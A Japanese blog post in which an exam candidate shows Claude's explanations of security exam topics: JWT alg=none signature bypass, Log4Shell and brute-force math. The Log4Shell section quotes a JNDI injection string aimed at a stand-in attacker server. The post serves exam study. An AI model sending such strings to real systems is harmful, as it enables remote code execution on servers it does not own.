AI活用 セキュリティ・資格

AIを使ってセキスペの過去問を解説してもらったら、勉強効率が上がりすぎた話

はじめに

こんにちは、アルです。

私が情報処理安全確保支援士試験に合格したのは2025年4月のことです。

正直に言うと、受験勉強中はAIをほとんど使っていませんでした。 過去問道場と参考書を繰り返しただけです。

合格後に「AIで過去問を解説してもらったらどうなるんだろう?」と試してみたところ、これが想像以上に使えたのでまとめます。

「AIって難しそう」「エンジニアじゃないから使いこなせないのでは」と思っている方にこそ読んでほしい記事です。


使い方はシンプル:問題文を貼って「説明して」と言うだけ

AIに問題を解説してもらうのに、難しい操作は何もいりません。

やること:

  1. 過去問サイトから問題文をコピー
  2. ClaudeやChatGPTに貼り付ける
  3. 「この用語の意味を教えて」「この仕組みをわかりやすく説明して」と聞く

それだけです。

試しに、令和6年度春期の午後試験・問1(APIセキュリティ)を題材に実際に質問してみました。


実際に試してみた①:JWT の alg=none 攻撃

午後試験では、JWT(JSON Web Token)の脆弱性がよく出題されます。

参考書を読んでも「なんとなくわかるけど自信がない」という状態になりがちなポイントです。

Claudeへの質問:

JWTのalg=none攻撃ってどういう意味ですか?試験問題に出てきたのですが、わかりやすく説明してください。

Claudeの回答:

JWTは「誰が発行したか」を証明するための署名付きトークンです。本来は署名アルゴリズムによって「このトークンは私(サーバー)が発行した本物だ」と検証します。

ところがJWTのヘッダーには "alg" というアルゴリズム指定欄があり、攻撃者がこれを "none" に書き換えると、「署名なしで検証してください」という意味になります。

サーバー側がこれを無条件に受け入れてしまうと、攻撃者は自分で書いたトークンを「正規のもの」として通過させることができます。

対策は「サーバー側でアルゴリズムを固定すること」。受け取ったJWTの alg を信用せず、使うアルゴリズムだけを許可するようにします。

感想:

参考書には「alg=noneによる署名検証のバイパス」と書いてあるだけで、正直イメージがわきませんでした。AIに聞いてみると、なぜ危険なのかの流れが一度で理解できました。


実際に試してみた②:Log4Shell の仕組み

Log4ShellはCVE-2021-44228という有名な脆弱性で、試験でも頻出です。

名前は聞いたことがあっても、「なぜそんな攻撃ができるのか」が腑に落ちていない方も多いと思います。

Claudeへの質問:

Log4Shell(CVE-2021-44228)って試験で出てきましたが、仕組みをざっくり教えてください。エンジニアじゃないので難しい言葉は避けてほしいです。

Claudeの回答:

Log4ShellはJavaのログ記録ツール「Log4j」に見つかった脆弱性です。

Log4jには、ログに記録する文字列の中に ${jndi:ldap://...} という形式があったら、外部サーバーに問い合わせて処理を実行する機能がありました。これは本来便利な機能でしたが、攻撃者がこの文字列をわざとログに記録させると、サーバーが攻撃者の指定した外部サーバーに勝手に接続し、悪意のあるコードを実行してしまいます。

たとえばログインフォームに ${jndi:ldap://攻撃者サーバー/x} と入力するだけで、サーバーが乗っ取られる可能性がありました。

試験では「この攻撃文字列をWAFの正規表現で検知する」パターンが問われます。

感想:

「ログに特定の文字列を入れると外部サーバーに接続する」という仕組みを知ると、なぜWAFでの検知が対策になるのかも自然に理解できました。「わかった気になっていた」が「本当にわかった」に変わる感覚でした。


実際に試してみた③:総当たり攻撃の計算

午後試験では「4桁の数字に総当たり攻撃をした場合、平均何回試す必要があるか」といった計算問題が出ます。

文系・非エンジニアがつまずきやすいポイントです。

Claudeへの質問:

4桁の数字への総当たり攻撃で、平均何回試せば当たりますか?計算の考え方を教えてください。

Claudeの回答:

4桁の数字(0000〜9999)の組み合わせは全部で 10,000通りです。

ランダムに試す場合、平均で「全パターン÷2」回試すと当たります。

10,000 ÷ 2 = 5,000回

試験では「1回の試行に何秒かかるか」という条件も加えて、「平均何分かかるか」を答えさせるパターンが多いです。たとえば1回3秒なら 5,000×3秒=15,000秒=約4.2時間、という形で計算します。

感想:

公式を暗記するのではなく、「なぜ÷2なのか」という考え方から教えてくれるので、別の条件の問題が出ても応用できます。参考書に書いてある答えだけを覚えるのとは大違いでした。


AIを使った勉強の3つのメリット

実際に試してみて感じたメリットをまとめます。

1. 「わかるまで何度でも聞ける」

参考書は読み返しても同じ説明しかありません。AIは「もっと簡単に」「別の例で教えて」と何度でも言い方を変えて教えてくれます。

2. 「難易度を自分で調整できる」

「エンジニアじゃないのでわかりやすく」「中学生でもわかるように」と付け加えるだけで、説明のレベルが変わります。

3. 「計算の考え方から教えてくれる」

答えだけでなく「なぜそうなるか」を教えてくれるので、応用が利きます。


まとめ

  • AIへの質問はシンプル:「問題文を貼って説明してもらうだけ」
  • 参考書では「なんとなく」だった理解が「本当にわかった」に変わる
  • 難易度・言い方を自分で調整できるのが非エンジニアには特に助かる
  • 私は試験後に気づいたが、勉強中から使えばよかったと本気で思っている

次回は、Claude APIを実際に使ってみた話を書きます。「APIって何?」というところから、非エンジニアがどこまでできたかをリポートします。

参考リンク

-AI活用, セキュリティ・資格